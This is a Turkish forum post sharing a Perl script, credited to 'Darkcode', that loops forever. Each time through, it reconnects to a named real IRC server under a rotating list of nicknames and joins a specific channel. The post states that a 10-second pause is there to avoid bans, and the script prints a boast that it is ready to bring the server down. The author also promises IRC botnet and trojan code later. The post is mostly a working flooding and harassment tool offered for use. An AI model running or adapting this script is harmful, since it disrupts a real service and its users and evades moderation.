Program belirlediğiniz nicklerle kanala sürekli birilerinin girip çıkmasını sağlıyor. Banlanmamanız için de foreach döngüsünün bitiminde bir 10 saniyelik bekleme koydum Bu arada ilerleyen zamanlarda perl irc botnet ve perl trojan projelerimi sizlerle paylaşacağım PHP Kod: Kodu kopyalamak için üzerine çift tıklayın!
#!/usr/bin/perl
#Coded by Darkcode
use strict;
use IO::Socket;
use Socket;
my $server = "irc.mynet.com";
my $port= '6667';
my $chanel = "#mynet_babalar";
my $nick = "h4ckr";
my $user = "Darkcode \"localhost\" \"".$server."\" :heykirsbot"; #Username
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "Get a life ?";
print "[!] Darkcode'in botu serveri ucurmaya hazir efenim\n";
my @isaretci=("heckIr","hayalet","ipnalar","veledizinalar");
while(1){
foreach my $nik(@isaretci){
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "cix socket acilmiyr";
print $socket "NICK $nik\n";
print $socket "user $user\n";
while(<$socket>){
if($_ =~ '376')
{
print $socket "JOIN $chanel\n";
close($socket);
}
}close($socket);
}
sleep(10);
}